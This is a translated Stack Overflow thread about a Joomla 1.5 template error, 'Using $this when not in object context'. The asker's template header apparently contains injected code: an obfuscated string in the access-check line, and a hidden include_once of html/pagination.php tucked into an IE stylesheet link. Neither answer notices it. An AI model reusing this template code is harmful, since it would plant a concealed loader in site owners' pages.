【问题标题】:Fatal error: Using $this when not in object context in Joomla [duplicate]致命错误:在 Joomla 中不在对象上下文中时使用 $this [重复]
【发布时间】:2012-11-07 12:06:49
【问题描述】:

我正在使用下面的代码,突然它开始抛出一个错误,如致命错误:使用 $this when not in object context in /foldername/ index.php at line 3。有什么帮助吗? <Head> 我的file 的一部分

<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
<style>
#topnav ul li ul {
left: -999em;
margin-top: 0px;
margin-left: 0px;
}
</style>
<![endif]-->
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/moomenu.js"></script>

【问题讨论】:

    标签: joomla joomla1.5


    【解决方案1】:

    替换你的顶级代码,即

    defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
    

    有了这个然后让我知道-

    defined('_JEXEC') or die;
    JHtml::_('behavior.framework', true);
    //Second line is for Motools core
    

    编辑

    如果缺少,也添加此行 -

    $app = JFactory::getApplication();
    

    【讨论】:

    • ,感谢您的回复和帮助,但是没有变化,仍然是同样的错误--:(
    • @NikitaChopra 您在哪一行收到此错误?
    • @NikitaChopra 您是否已将其包含在您的代码中? $app = JFactory::getApplication();
    • 还是不行..我应该这样做吗?
    【解决方案2】:

    您不能在静态方法中使用$this。变量$this 仅可用于类方法,因为它们接收调用该方法的对象。

    这就是“不在对象上下文中”的意思:没有对象传递给该静态方法,因为它是静态的。静态方法是类的一部分,而不是使用该类实例化的对象的一部分。

    $this 仅用于类方法内部。尝试找出实际定义“模板”的位置。你可以尝试用$template 替换$this-&gt;template,但我不知道你的东西是如何设置的。

    阅读更多Link 1,Link 2,Link 3,Link 4

    【讨论】:

      猜你喜欢
      • 2016-04-16
      • 2012-09-25
      • 1970-01-01
      • 1970-01-01
      • 2010-12-11
      相关资源
      最近更新 更多